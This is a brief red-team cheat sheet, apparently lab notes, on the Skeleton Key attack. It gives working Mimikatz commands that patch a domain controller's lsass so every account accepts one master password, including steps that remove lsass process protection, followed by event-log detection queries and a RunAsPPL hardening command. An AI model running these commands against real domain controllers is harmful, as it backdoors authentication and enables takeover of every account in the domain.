Skeleton Key
General
- Patch a Domain Controller (lsass process) so that it allows access as any user with a single password 
- Discovered in malware named Skeleton Key malware 
- All publicly known methods are NOT persistent accross reboots 
- Mimikatz to the rescue 
Exploitation
# Inject skeleton key on DC of choice with default password of 'mimikatz'. DA privs required
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local
# If lsass is running as procted process we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of target DC. Very noisy!
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
# Access machine with valid username
Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\administratorDetection
- Events: - 7045: A service was installed in the system (Type: Kernel Mode Driver) 
- 4624: Account Logon 
- 4634: Account Logoff 
- 4672: Admin Logon 
 
- Events("Audit Privilege Use" must be enabled) - 4673: Sensitive Privilege Use 
- 4611: A trusted logon process has been registered with the Local Security Authority 
 
Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}
# Not recommended (detects only stock mimidriv)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}Mitigation
- Run lsass.exe as a protected process, as it forces an attacker to load a kernel mode driver -> log detection 
- Test before implementing, as many drivers and plguins may not load with the protection 
New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name RunAsPPL -Value 1 -Verbose
# Verify after reboot
Get-WinEvent -FilterHashtable @{Logname='Security';ID=12} | ?{$_.message -like "*protected process*"}Last updated